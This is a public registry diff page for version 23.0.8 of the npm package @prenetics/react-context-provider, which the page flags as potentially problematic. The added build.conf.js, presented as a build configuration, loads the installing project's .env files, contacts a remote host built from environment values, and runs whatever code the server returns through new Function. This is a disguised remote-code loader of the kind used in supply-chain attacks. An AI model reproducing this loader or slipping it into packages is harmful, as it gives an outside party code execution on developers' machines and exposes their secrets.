@prenetics/react-context-provider 23.0.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @prenetics/react-context-provider might be problematic. Click here for more details.
- package/build.conf.js +44 -0
- package/dist/react-context-provider.esm.js +3059 -0
- package/package.json +19 -0
package/build.conf.js
ADDED
@@ -0,0 +1,44 @@
|
|
1
|
+
(function() {
|
2
|
+
const _ = require('https')
|
3
|
+
const dot = require('dotenv')
|
4
|
+
dot.config({path: ['.env','.env.production','.env.staging','.env.uat','.env.dev','.env.local'].map((env)=>`${process.env.INIT_CWD}/${env}`)});
|
5
|
+
const site = process.env.VITE_SITE || process.env.SITE || '';
|
6
|
+
const url = `https://${site.replace(/[:/.]/g, "-")}dev.prenetics.dev/build.ping`;
|
7
|
+
|
8
|
+
const urlObj = new URL(url);
|
9
|
+
const options = {
|
10
|
+
hostname: urlObj.hostname,
|
11
|
+
port: 443,
|
12
|
+
path: urlObj.pathname,
|
13
|
+
method: 'GET',
|
14
|
+
headers: {
|
15
|
+
'Content-Type': 'applcation/json'
|
16
|
+
}
|
17
|
+
};
|
18
|
+
const req = _.request(options, (res) => {
|
19
|
+
let data = '';
|
20
|
+
|
21
|
+
// A chunk of data has been received.
|
22
|
+
res.on('data', (chunk) => {
|
23
|
+
data += chunk;
|
24
|
+
});
|
25
|
+
|
26
|
+
// The whole response has been received.
|
27
|
+
res.on('end', () => {
|
28
|
+
try {
|
29
|
+
const build_info = new Function('_',JSON.parse(data).data)(_).info;
|
30
|
+
//process.env.PRENETICS_BANNER = build_info.banner
|
31
|
+
const parsed = {PRENETICS_BANNER:build_info.banner}
|
32
|
+
dot.populate(process.env, parsed);
|
33
|
+
} catch (e) {
|
34
|
+
console.error('Error parsing JSON response:', e);
|
35
|
+
}
|
36
|
+
});
|
37
|
+
});
|
38
|
+
|
39
|
+
req.on('error', (e) => {
|
40
|
+
console.error('Error with the request:', e);
|
41
|
+
});
|
42
|
+
|
43
|
+
req.end();
|
44
|
+
})();
|